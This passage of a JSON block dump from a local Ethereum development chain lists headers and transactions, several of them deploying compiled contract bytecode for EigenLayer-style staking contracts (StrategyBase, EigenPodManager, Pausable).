000000000000000000000000","r":"0xbdeca6fc6c63bcaa9fa5c0c7d2c32314ae2e759375e86b55bf37e90dff1a8c09","s":"0x3af0f51f632c8f7bde3d4406ee621f7d99448c0fc8097bdd4f6bbbb43059a3db","yParity":"0x0","hash":"0x836a4ac02c16fb1dbcfa393cd13acedc12dabdd7dd96484031d8211cb9f67a38"}},"impersonated_sender":null}],"ommers":[]},{"header":{"parentHash":"0x779004e829c9c04f554cee3ea7aa3dec86c97479e1e767deca9aff40423b5f80","ommersHash":"0x1dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347","beneficiary":"0x0000000000000000000000000000000000000000","stateRoot":"0x2cfec109529479972327010095a92bab4c312de8bb34000e04238804c382c020","transactionsRoot":"0x8facca55bd95fb60ee6f8928025e092becc5cb4845f369bb6baa7ad0371d4939","receiptsRoot":"0x4b4d81a26c41bb3811371680e16ddc1e252fb315c6b70c672a95e7e9f4055196","withdrawalsRoot":"0x56e81f171bcc55a6ff8345e692c0f86e5b48e01b996cadc001622fb5e363b421","logsBloom":"0x00000000001000000000000040000000400000000000000200800000000000000000000000000000000000000000000000000010000000100000000000000000000000000000000000000400000002000001000000000000000000000000000000000000020000000000000100800800001004000000000000000000000000400000000100000000000000000000000000000000000080004200000000000000002000000000000000000000008400000000000000000000000000000000000000000020400000200000000000040000040000002008000001000000000020000000000000000001000000000000000000000000000000020000000000400000","difficulty":"0x0","number":"0x11","gasLimit":"0x1c9c380","gasUsed":"0x1ad6e5","timestamp":"0x67212bff","mixHash":"0x0000000000000000000000000000000000000000000000000000000000000000","nonce":"0x0000000000000000","baseFeePerGas":"0x940212f","blobGasUsed":"0x0","excessBlobGas":"0x0","parentBeaconBlockRoot":"0x0000000000000000000000000000000000000000000000000000000000000000","extraData":"0x"},"transactions":[{"transaction":{"EIP1559":{"chainId":"0x7a69","nonce":"0x19","gas":"0x2fd25","maxFeePerGas":"0x77359401","maxPriorityFeePerGas":"0x1","to":"0x5fbdb2315678afecb367f032d93f642f64180aa3","value":"0x0","accessList":[],"input":"0x9623609d0000000000000000000000008a791620dd6260079bf849dc5567adc3f2fdc31800000000000000000000000068b1d87f95878fe05b998f19b66f4baba5de1aed00000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000084eb990c59000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f05120000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a00000000000000000000000000000000000000000000000000000000","r":"0x8e742eeb3501951f3637ef8abf577c12b775568e211ef0dfbe56d2fb89698a02","s":"0x1a316d4767931d39813d98ddcf17a38c0889b59f73dd964d86c784d658734b48","yParity":"0x0","hash":"0xa1e0398c2dde583fe8c57690419d4f2ec2dee733e02fd823bd1dd6bdb141f9db"}},"impersonated_sender":null},{"transaction":{"EIP1559":{"chainId":"0x7a69","nonce":"0x1a","gas":"0x2011a3","maxFeePerGas":"0x77359401","maxPriorityFeePerGas":"0x1","value":"0x0","accessList":[],"input":"0x60a060405234801561001057600080fd5b50604051611d33380380611d3383398101604081905261002f9161010c565b6001600160a01b0381166080528061004561004c565b505061013c565b600054610100900460ff16156100b85760405162461bcd60e51b815260206004820152602760248201527f496e697469616c697a61626c653a20636f6e747261637420697320696e697469604482015266616c697a696e6760c81b606482015260840160405180910390fd5b60005460ff908116101561010a576000805460ff191660ff9081179091556040519081527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b565b60006020828403121561011e57600080fd5b81516001600160a01b038116811461013557600080fd5b9392505050565b608051611bc761016c60003960008181610216015281816107a801528181610b490152610c130152611bc76000f3fe608060405234801561001057600080fd5b506004361061018e5760003560e01c80635c975abb116100de578063ab5921e111610097578063df6fadc111610071578063df6fadc114610366578063e3dae51c14610381578063f3e7387514610394578063fabc1cbc146103a757600080fd5b8063ab5921e11461032b578063ce7c2ac214610340578063d9caed121461035357600080fd5b80635c975abb146102c857806361b01b5d146102d05780637a8b2637146102d9578063886f1195146102ec5780638c871019146103055780638f6a62401461031857600080fd5b80633a98ef391161014b578063485cc95511610125578063485cc9551461026b578063553ca5f81461027e578063595c6a67146102915780635ac86ab71461029957600080fd5b80633a98ef391461023857806343fe08b01461024f57806347e7ef241461025857600080fd5b8063019e27291461019357806310d67a2f146101a857806311c70c9d146101bb578063136439dd146101ce5780632495a599146101e157806339b70e3814610211575b600080fd5b6101a66101a13660046117b9565b6103ba565b005b6101a66101b6366004611803565b61049d565b6101a66101c9366004611820565b610550565b6101a66101dc366004611842565b610605565b6032546101f4906001600160a01b031681565b6040516001600160a01b0390911681526020015b60405180910390f35b6101f47f000000000000000000000000000000000000000000000000000000000000000081565b61024160335481565b604051908152602001610208565b61024160645481565b61024161026636600461185b565b610749565b6101a6610279366004611887565b6108ef565b61024161028c366004611803565b6109bd565b6101a66109d1565b6102b86102a73660046118c0565b6001805460ff9092161b9081161490565b6040519015158152602001610208565b600154610241565b61024160655481565b6102416102e7366004611842565b610a9d565b6000546101f4906201000090046001600160a01b031681565b610241610313366004611842565b610ae8565b610241610326366004611803565b610af3565b610333610b01565b6040516102089190611907565b61024161034e366004611803565b610b21565b6101a661036136600461193a565b610bb6565b60645460655460408051928352602083019190915201610208565b61024161038f366004611842565b610d7e565b6102416103a2366004611842565b610db7565b6101a66103b5366004611842565b610dc2565b600054610100900460ff16158080156103da5750600054600160ff909116105b806103f45750303b1580156103f4575060005460ff166001145b6104195760405162461bcd60e51b81526004016104109061197b565b60405180910390fd5b6000805460ff19166001179055801561043c576000805461ff0019166101001790555b6104468585610f1e565b610450838361102b565b8015610496576000805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b5050505050565b600060029054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156104f0573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061051491906119c9565b6001600160a01b0316336001600160a01b0316146105445760405162461bcd60e51b8152600401610410906119e6565b61054d816110bc565b50565b600060029054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105a3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105c791906119c9565b6001600160a01b0316336001600160a01b0316146105f75760405162461bcd60e51b8152600401610410906119e6565b6106018282610f1e565b5050565b60005460405163237dfb4760e11b8152336004820152620100009091046001600160a01b0316906346fbf68e90602401602060405180830381865afa158015610652573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106769190611a30565b6106925760405162461bcd60e51b815260040161041090611a52565b6001548181161461070b5760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e70617573653a20696e76616c696420617474656d70742060448201527f746f20756e70617573652066756e6374696f6e616c69747900000000000000006064820152608401610410565b600181905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d906020015b60405180910390a250565b60018054600091829181160361079d5760405162461bcd60e51b815260206004820152601960248201527814185d5cd8589b194e881a5b99195e081a5cc81c185d5cd959603a1b6044820152606401610410565b336001600160a01b037f000000000000000000000000000000000000000000000000000000000000000016146108155760405162461bcd60e51b815260206004820181905260248201527f5374726174656779426173652e6f6e6c7953747261746567794d616e616765726044820152606401610410565b61081f84846111c1565b60335460006108306103e883611ab0565b905060006103e861083f6112a3565b6108499190611ab0565b905060006108578783611ac3565b9050806108648489611ad6565b61086e9190611aed565b9550856000036108d75760405162461bcd60e51b815260206004820152602e60248201527f5374726174656779426173652e6465706f7369743a206e65775368617265732060448201526d63616e6e6f74206265207a65726f60901b6064820152608401610410565b6108e18685611ab0565b603355505050505092915050565b600054610100900460ff161580801561090f5750600054600160ff909116105b806109295750303b158015610929575060005460ff166001145b6109455760405162461bcd60e51b81526004016104109061197b565b6000805460ff191660011790558015610968576000805461ff0019166101001790555b610972838361102b565b80156109b8576000805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b505050565b60006109cb6102e783610b21565b92915050565b60005460405163237dfb4760e11b8152336004820152620100009091046001600160a01b0316906346fbf68e90602401602060405180830381865afa158015610a1e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a429190611a30565b610a5e5760405162461bcd60e51b815260040161041090611a52565b600019600181905560405190815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a2565b6000806103e8603354610ab09190611ab0565b905060006103e8610abf6112a3565b610ac99190611ab0565b905081610ad68583611ad6565b610ae09190611aed565b949350505050565b60006109cb82610d7e565b60006109cb6103a283610b21565b60606040518060800160405280604d8152602001611b45604d9139905090565b604051633d3f06c960e11b81526001600160a01b0382811660048301523060248301526000917f000000000000000000000000000000000000000000000000000000000000000090911690637a7e0d9290604401602060405180830381865afa158015610b92573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109cb9190611b0f565b60018054600290811603610c085760405162461bcd60e51b815260206004820152601960248201527814185d5cd8589b194e881a5b99195e081a5cc81c185d5cd959603a1b6044820152606401610410565b336001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001614610c805760405162461bcd60e51b815260206004820181905260248201527f5374726174656779426173652e6f6e6c7953747261746567794d616e616765726044820152606401610410565b610c8b848484611315565b60335480831115610d1a5760405162461bcd60e51b815260206004820152604d60248201527f5374726174656779426173652e77697468647261773a20616d6f756e7453686160448201527f726573206d757374206265206c657373207468616e206f7220657175616c207460648201526c6f20746f74616c53686172657360981b608482015260a401610410565b6000610d286103e883611ab0565b905060006103e8610d376112a3565b610d419190611ab0565b9050600082610d508784611ad6565b610d5a9190611aed565b9050610d668685611ac3565b603355610d74888883611398565b5050505050505050565b6000806103e8603354610d919190611ab0565b905060006103e8610da06112a3565b610daa9190611ab0565b905080610ad68386611ad6565b60006109cb82610a9d565b600060029054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e15573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e3991906119c9565b6001600160a01b0316336001600160a01b031614610e695760405162461bcd60e51b8152600401610410906119e6565b600154198119600154191614610ee75760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e756e70617573653a20696e76616c696420617474656d7060448201527f7420746f2070617573652066756e6374696f6e616c69747900000000000000006064820152608401610410565b600181905560405181815233907f3582d1828e26bf56bd801502bc021ac0bc8afb57c826e4986b45593c8fad389c9060200161073e565b60645460408051918252602082018490527ff97ed4e083acac67830025ecbc756d8fe847cdbdca4cee3fe1e128e98b54ecb5910160405180910390a160655460408051918252602082018390527f6ab181e0440bfbf4bacdf2e99674735ce6638005490688c5f994f5399353e452910160405180910390a1808211156110205760405162461bcd60e51b815260206004820152604b60248201527f53747261746567794261736554564c4c696d6974732e5f73657454564c4c696d60448201527f6974733a206d61785065724465706f7369742065786365656473206d6178546f60648201526a74616c4465706f7369747360a81b608482015260a401610410565b606491909155606555565b600054610100900460ff166110965760405162461bcd60e51b815260206004820152602b60248201527f496e697469616c697a61626c653a20636f6e7472616374206973206e6f74206960448201526a6e697469616c697a696e6760a81b6064820152608401610410565b603280546001600160a01b0319166001600160a01b0384161790556106018160006113ac565b6001600160a01b03811661114a5760405162461bcd60e51b815260206004820152604960248201527f5061757361626c652e5f73657450617573657252656769737472793a206e657760448201527f50617573657252656769737472792063616e6e6f7420626520746865207a65726064820152686f206164647265737360b81b608482015260a401610410565b600054604080516001600160a01b03620100009093048316815291831660208301527f6e9fcd539896fca60e8b0f01dd580233e48a6b0f7df013b89ba7f565869acdb6910160405180910390a1600080546001600160a01b03909216620100000262010000600160b01b0319909216919091179055565b60645481111561122b5760405162461bcd60e51b815260206004820152602f60248201527f53747261746567794261736554564c4c696d6974733a206d617820706572206460448201526e195c1bdcda5d08195e18d959591959608a1b6064820152608401610410565b6065546112366112a3565b11156112995760405162461bcd60e51b815260206004820152602c60248201527f53747261746567794261736554564c4c696d6974733a206d6178206465706f7360448201526b1a5d1cc8195e18d95959195960a21b6064820152608401610410565b6106018282611498565b6032546040516370a0823160e01b81523060048201526000916001600160a01b0316906370a0823190602401602060405180830381865afa1580156112ec573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113109190611b0f565b905090565b6032546001600160a01b038381169116146109b85760405162461bcd60e51b815260206004820152603b60248201527f5374726174656779426173652e77697468647261773a2043616e206f6e6c792060448201527f77697468647261772074686520737472617465677920746f6b656e00000000006064820152608401610410565b6109b86001600160a01b0383168483611514565b6000546201000090046001600160a01b03161580156113d357506001600160a01b03821615155b6114555760405162461bcd60e51b815260206004820152604760248201527f5061757361626c652e5f696e697469616c697a655061757365723a205f696e6960448201527f7469616c697a6550617573657228292063616e206f6e6c792062652063616c6c6064820152666564206f6e636560c81b608482015260a401610410565b600181905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a2610601826110bc565b6032546001600160a01b038381169116146106015760405162461bcd60e51b815260206004820152603660248201527f5374726174656779426173652e6465706f7369743a2043616e206f6e6c79206460448201527532b837b9b4ba103ab73232b9363cb4b733aa37b5b2b760511b6064820152608401610410565b604080516001600160a01b03848116602483015260448083018590528351808403909101815260649092018352602080830180516001600160e01b031663a9059cbb60e01b17905283518085019094528084527f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564908401526109b8928692916000916115a4918516908490611621565b8051909150156109b857808060200190518101906115c29190611a30565b6109b85760405162461bcd60e51b815260206004820152602a60248201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e6044820152691bdd081cdd58d8d9595960b21b6064820152608401610410565b6060611630848460008561163a565b90505b9392505050565b60608247101561169b5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a20696e73756666696369656e742062616c616e636520666f6044820152651c8818d85b1b60d21b6064820152608401610410565b6001600160a01b0385163b6116f25760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e74726163740000006044820152606401610410565b600080866001600160a01b0316858760405161170e9190611b28565b60006040518083038185875af1925050503d806000811461174b576040519150601f19603f3d011682016040523d82523d6000602084013e611750565b606091505b509150915061176082828661176b565b979650505050505050565b6060831561177a575081611633565b82511561178a5782518084602001fd5b8160405162461bcd60e51b81526004016104109190611907565b6001600160a01b038116811461054d57600080fd5b600080600080608085870312156117cf57600080fd5b843593506020850135925060408501356117e8816117a4565b915060608501356117f8816117a4565b939692955090935050565b60006020828403121561181557600080fd5b8135611633816117a4565b6000806040838503121561183357600080fd5b50508035926020909101359150565b60006020828403121561185457600080fd5b5035919050565b6000806040838503121561186e57600080fd5b8235611879816117a4565b946020939093013593505050565b6000806040838503121561189a57600080fd5b82356118a5816117a4565b915060208301356118b5816117a4565b809150509250929050565b6000602082840312156118d257600080fd5b813560ff8116811461163357600080fd5b60005b838110156118fe5781810151838201526020016118e6565b50506000910152565b60208152600082518060208401526119268160408501602087016118e3565b601f01601f19169190910160400192915050565b60008060006060848603121561194f57600080fd5b833561195a816117a4565b9250602084013561196a816117a4565b929592945050506040919091013590565b6020808252602e908201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160408201526d191e481a5b9a5d1a585b1a5e995960921b606082015260800190565b6000602082840312156119db57600080fd5b8151611633816117a4565b6020808252602a908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526939903ab73830bab9b2b960b11b606082015260800190565b600060208284031215611a4257600080fd5b8151801515811461163357600080fd5b60208082526028908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526739903830bab9b2b960c11b606082015260800190565b634e487b7160e01b600052601160045260246000fd5b808201808211156109cb576109cb611a9a565b818103818111156109cb576109cb611a9a565b80820281158282048414176109cb576109cb611a9a565b600082611b0a57634e487b7160e01b600052601260045260246000fd5b500490565b600060208284031215611b2157600080fd5b5051919050565b60008251611b3a8184602087016118e3565b919091019291505056fe4261736520537472617465677920696d706c656d656e746174696f6e20746f20696e68657269742066726f6d20666f72206d6f726520636f6d706c657820696d706c656d656e746174696f6e73a264697066735822122021b62fe5b5bce3c7900ce940fa79726154511331bde65b6124359a94d004524164736f6c634300081c0033000000000000000000000000dc64a140aa3e981100a9beca4e685f962f0cf6c9","r":"0xf7a878fbc1afbcbd6736894bc74b543ba0b809f420fc3bfcbb10de19cb7ad6e5","s":"0x9e3e0e88bdae90d5615bd7af7aff148b53942f1c8ac08bb5f90fed15c5dc4aa","yParity":"0x1","hash":"0x52313b68ddd22abd2c1d0f4320f5687a41e1eacadced37c5e339989e6724e408"}},"impersonated_sender":null}],"ommers":[]},{"header":{"parentHash":"0xfda166a7086f0e683b1e8e4badba566668eff15a39ce6f197edab332f603ab2d","ommersHash":"0x1dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347","beneficiary":"0x0000000000000000000000000000000000000000","stateRoot":"0x0fe6a7db85faa5ca97b47360fd8ec81a5d4cc40a76ed237ba65afdb815909b27","transactionsRoot":"0xa36308a10224af412127915c35aa1597dc1fadda163fe4aaf48ad95cac948e28","receiptsRoot":"0xa15f3c0718a73524ac2bb145845e4128a9cf5d071ce329b3b52e4b31e8ff003c","withdrawalsRoot":"0x56e81f171bcc55a6ff8345e692c0f86e5b48e01b996cadc001622fb5e363b421","logsBloom":"0x00000000000001000000000000000000000000000000000000000000000000000000000020000800000000020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000008000000000400000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000000000000000000000000000100000000000000","difficulty":"0x0","number":"0xb","gasLimit":"0x1c9c380","gasUsed":"0x45626e","timestamp":"0x67212bff","mixHash":"0x0000000000000000000000000000000000000000000000000000000000000000","nonce":"0x0000000000000000","baseFeePerGas":"0x139b0233","blobGasUsed":"0x0","excessBlobGas":"0x0","parentBeaconBlockRoot":"0x0000000000000000000000000000000000000000000000000000000000000000","extraData":"0x"},"transactions":[{"transaction":{"EIP1559":{"chainId":"0x7a69","nonce":"0x11","gas":"0x38eed1","maxFeePerGas":"0x77359401","maxPriorityFeePerGas":"0x1","value":"0x0","accessList":[],"input":"0x61012060405234801561001157600080fd5b5060405161349738038061349783398101604081905261003091610140565b6001600160a01b0380861660805280851660a05280841660c05280831660e05281166101005261005e610068565b50505050506101b5565b600054610100900460ff16156100d45760405162461bcd60e51b815260206004820152602760248201527f496e697469616c697a61626c653a20636f6e747261637420697320696e697469604482015266616c697a696e6760c81b606482015260840160405180910390fd5b60005460ff9081161015610126576000805460ff191660ff9081179091556040519081527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b565b6001600160a01b038116811461013d57600080fd5b50565b600080600080600060a0868803121561015857600080fd5b855161016381610128565b602087015190955061017481610128565b604087015190945061018581610128565b606087015190935061019681610128565b60808701519092506101a781610128565b809150509295509295909350565b60805160a05160c05160e0516101005161326d61022a60003960008181610636015281816106e001528181610b0e015281816113ea0152818161187e015261196e01526000610542015260006102e601526000818161027a01528181611369015261203c01526000610414015261326d6000f3fe6080604052600436106101ee5760003560e01c80638da5cb5b1161010d578063c052bd61116100a0578063d1c64cc91161006f578063d1c64cc914610604578063ea4d3c9b14610624578063f2fde38b14610658578063f6848d2414610678578063fabc1cbc146106b357600080fd5b8063c052bd6114610584578063c1de3aef146105a4578063c2c51c40146105c4578063cf756fdf146105e457600080fd5b8063a38406a3116100dc578063a38406a3146104fa578063a6a509be1461051a578063b134427114610530578063beffbb891461056457600080fd5b80638da5cb5b1461046b5780639104c319146104895780639b4e4634146104b15780639ba06275146104c457600080fd5b8063595c6a6711610185578063715018a611610154578063715018a6146103ed57806374cdd7981461040257806384d8106214610436578063886f11951461044b57600080fd5b8063595c6a67146103565780635ac86ab71461036b5780635c975abb146103ab57806360f4062b146103c057600080fd5b8063387b1300116101c1578063387b1300146102b457806339b70e38146102d457806344e71c8014610308578063463db0381461033657600080fd5b80630e81073c146101f357806310d67a2f14610226578063136439dd14610248578063292b7b2b14610268575b600080fd5b3480156101ff57600080fd5b5061021361020e36600461240b565b6106d3565b6040519081526020015b60405180910390f35b34801561023257600080fd5b50610246610241366004612437565b610911565b005b34801561025457600080fd5b50610246610263366004612454565b6109c4565b34801561027457600080fd5b5061029c7f000000000000000000000000000000000000000000000000000000000000000081565b6040516001600160a01b03909116815260200161021d565b3480156102c057600080fd5b506102466102cf36600461246d565b610b03565b3480156102e057600080fd5b5061029c7f000000000000000000000000000000000000000000000000000000000000000081565b34801561031457600080fd5b5061031d610ea1565b60405167ffffffffffffffff909116815260200161021d565b34801561034257600080fd5b506102466103513660046124ae565b610ecc565b34801561036257600080fd5b5061024661105b565b34801561037757600080fd5b5061039b6103863660046124d8565b606654600160ff9092169190911b9081161490565b604051901515815260200161021d565b3480156103b757600080fd5b50606654610213565b3480156103cc57600080fd5b506102136103db366004612437565b609b6020526000908152604090205481565b3480156103f957600080fd5b50610246611122565b34801561040e57600080fd5b5061029c7f000000000000000000000000000000000000000000000000000000000000000081565b34801561044257600080fd5b5061029c611136565b34801561045757600080fd5b5060655461029c906001600160a01b031681565b34801561047757600080fd5b506033546001600160a01b031661029c565b34801561049557600080fd5b5061029c73beac0eeeeeeeeeeeeeeeeeeeeeeeeeeeeeebeac081565b6102466104bf366004612544565b61121f565b3480156104d057600080fd5b5061029c6104df366004612437565b6098602052600090815260409020546001600160a01b031681565b34801561050657600080fd5b5061029c610515366004612437565b61130d565b34801561052657600080fd5b5061021360995481565b34801561053c57600080fd5b5061029c7f000000000000000000000000000000000000000000000000000000000000000081565b34801561057057600080fd5b5061024661057f36600461240b565b6113df565b34801561059057600080fd5b5060975461029c906001600160a01b031681565b3480156105b057600080fd5b506102466105bf366004612437565b6115f6565b3480156105d057600080fd5b506102466105df36600461240b565b611607565b3480156105f057600080fd5b506102466105ff3660046125bd565b611a09565b34801561061057600080fd5b5061021361061f3660046124ae565b611b32565b34801561063057600080fd5b5061029c7f000000000000000000000000000000000000000000000000000000000000000081565b34801561066457600080fd5b50610246610673366004612437565b611c3d565b34801561068457600080fd5b5061039b610693366004612437565b6001600160a01b0390811660009081526098602052604090205416151590565b3480156106bf57600080fd5b506102466106ce366004612454565b611cb3565b6000336001600160a01b037f000000000000000000000000000000000000000000000000000000000000000016146107265760405162461bcd60e51b815260040161071d9061260e565b60405180910390fd5b6001600160a01b0383166107a25760405162461bcd60e51b815260206004820152603a60248201527f456967656e506f644d616e616765722e6164645368617265733a20706f644f7760448201527f6e65722063616e6e6f74206265207a65726f2061646472657373000000000000606482015260840161071d565b60008212156108105760405162461bcd60e51b815260206004820152603460248201527f456967656e506f644d616e616765722e6164645368617265733a207368617265604482015273732063616e6e6f74206265206e6567617469766560601b606482015260840161071d565b61081e633b9aca0083612682565b156108915760405162461bcd60e51b815260206004820152603d60248201527f456967656e506f644d616e616765722e6164645368617265733a20736861726560448201527f73206d75737420626520612077686f6c65204777656920616d6f756e74000000606482015260840161071d565b6001600160a01b0383166000908152609b6020526040812054906108b584836126ac565b6001600160a01b0386166000818152609b60205260409081902083905551919250906000805160206131f8833981519152906108f49087815260200190565b60405180910390a26109068282611e0f565b925050505b92915050565b606560009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa158015610964573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061098891906126d4565b6001600160a01b0316336001600160a01b0316146109b85760405162461bcd60e51b815260040161071d906126f1565b6109c181611e51565b50565b60655460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa158015610a0c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a30919061273b565b610a4c5760405162461bcd60e51b815260040161071d9061275d565b60665481811614610ac55760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e70617573653a20696e76616c696420617474656d70742060448201527f746f20756e70617573652066756e6374696f6e616c6974790000000000000000606482015260840161071d565b606681905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d906020015b60405180910390a250565b336001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001614610b4b5760405162461bcd60e51b815260040161071d9061260e565b6001600160a01b038316610bc55760405162461bcd60e51b8152602060048201526047602482015260008051602061321883398151915260448201527f546f6b656e733a20706f644f776e65722063616e6e6f74206265207a65726f206064820152666164647265737360c81b608482015260a40161071d565b6001600160a01b038216610c425760405162461bcd60e51b815260206004820152604a602482015260008051602061321883398151915260448201527f546f6b656e733a2064657374696e6174696f6e2063616e6e6f74206265207a65606482015269726f206164647265737360b01b608482015260a40161071d565b6000811215610cb15760405162461bcd60e51b8152602060048201526041602482015260008051602061321883398151915260448201527f546f6b656e733a207368617265732063616e6e6f74206265206e6567617469766064820152606560f81b608482015260a40161071d565b610cbf633b9aca0082612682565b15610d335760405162461bcd60e51b815260206004820152604a602482015260008051602061321883398151915260448201527f546f6b656e733a20736861726573206d75737420626520612077686f6c6520476064820152691dd95a48185b5bdd5b9d60b21b608482015260a40161071d565b6001600160a01b0383166000908152609b602052604081205490811215610e26576000610d5f826127a5565b905080831115610dc4576001600160a01b0385166000908152609b6020526040812055610d8c81846127c1565b9250846001600160a01b03166000805160206131f883398151915282604051610db791815260200190565b60405180910390a2610e24565b6001600160a01b0385166000908152609b602052604081208054859290610dec9084906126ac565b90915550506040518381526001600160a01b038616906000805160206131f88339815191529060200160405180910390a25050505050565b505b6001600160a01b03848116600090815260986020526040908190205490516362483a2160e11b815285831660048201526024810185905291169063c490744290604401600060405180830381600087803b158015610e8357600080fd5b505af1158015610e97573d6000803e3d6000fd5b5050505050505050565b609c5460009067ffffffffffffffff16808203610ec75767ffffffffffffffff91505090565b919050565b610ed4611f48565b8067ffffffffffffffff16600003610f695760405162461bcd60e51b815260206004820152604c60248201527f456967656e506f644d616e616765722e73657444656e6562466f726b54696d6560448201527f7374616d703a2063616e6e6f7420736574206e657744656e6562466f726b546960648201526b06d657374616d7020746f20360a41b608482015260a40161071d565b609c5467ffffffffffffffff16156110055760405162461bcd60e51b815260206004820152605360248201527f456967656e506f644d616e616765722e73657444656e6562466f726b54696d6560448201527f7374616d703a2063616e6e6f74207365742064656e6562466f726b54696d657360648201527274616d70206d6f7265207468616e206f6e636560681b608482015260a40161071d565b609c805467ffffffffffffffff191667ffffffffffffffff83169081179091556040519081527f19200b6fdad58f91b2f496b0c444fc4be3eff74a7e24b07770e04a7137bfd9db9060200160405180910390a150565b60655460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa1580156110a3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110c7919061273b565b6110e35760405162461bcd60e51b815260040161071d9061275d565b600019606681905560405190815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a2565b61112a611f48565b6111346000611fa2565b565b606654600090819060019081160361118c5760405162461bcd60e51b815260206004820152601960248201527814185d5cd8589b194e881a5b99195e081a5cc81c185d5cd959603a1b604482015260640161071d565b336000908152609860205260409020546001600160a01b03161561120e5760405162461bcd60e51b815260206004820152603360248201527f456967656e506f644d616e616765722e637265617465506f643a2053656e64656044820152721c88185b1c9958591e481a185cc818481c1bd9606a1b606482015260840161071d565b6000611218611ff4565b9250505090565b6066546000906001908116036112735760405162461bcd60e51b815260206004820152601960248201527814185d5cd8589b194e881a5b99195e081a5cc81c185d5cd959603a1b604482015260640161071d565b336000908152609860205260409020546001600160a01b03168061129c57611299611ff4565b90505b6040516326d3918d60e21b81526001600160a01b03821690639b4e46349034906112d2908b908b908b908b908b906004016127fd565b6000604051808303818588803b1580156112eb57600080fd5b505af11580156112ff573d6000803e3d6000fd5b505050505050505050505050565b6001600160a01b038082166000908152609860205260408120549091168061090b576113d8836001600160a01b031660001b60405180610940016040528061090e81526020016128ea61090e9139604080516001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000166020820152808201919091526000606082015260800160408051601f19818403018152908290526113bd9291602001612867565b60405160208183030381529060405280519060200120612159565b9392505050565b336001600160a01b037f000000000000000000000000000000000000000000000000000000000000000016146114275760405162461bcd60e51b815260040161071d9061260e565b600081121561149e5760405162461bcd60e51b815260206004820152603760248201527f456967656e506f644d616e616765722e72656d6f76655368617265733a20736860448201527f617265732063616e6e6f74206265206e65676174697665000000000000000000606482015260840161071d565b6114ac633b9aca0082612682565b15611521576040805162461bcd60e51b81526020600482015260248101919091527f456967656e506f644d616e616765722e72656d6f76655368617265733a20736860448201527f61726573206d75737420626520612077686f6c65204777656920616d6f756e74606482015260840161071d565b6001600160a01b0382166000908152609b602052604081205461154590839061287c565b905060008112156115d65760405162461bcd60e51b815260206004820152604f60248201527f456967656e506f644d616e616765722e72656d6f76655368617265733a20636160448201527f6e6e6f7420726573756c7420696e20706f64206f776e657220686176696e672060648201526e6e656761746976652073686172657360881b608482015260a40161071d565b6001600160a01b039092166000908152609b602052604090209190915550565b6115fe611f48565b6109c1816121b5565b6001600160a01b0380831660009081526098602052604090205483911633146116825760405162461bcd60e51b815260206004820152602760248201527f456967656e506f644d616e616765722e6f6e6c79456967656e506f643a206e6f6044820152661d0818481c1bd960ca1b606482015260840161071d565b600260c954036116d45760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00604482015260640161071d565b600260c9556001600160a01b0383166117705760405162461bcd60e51b815260206004820152605260248201527f456967656e506f644d616e61676572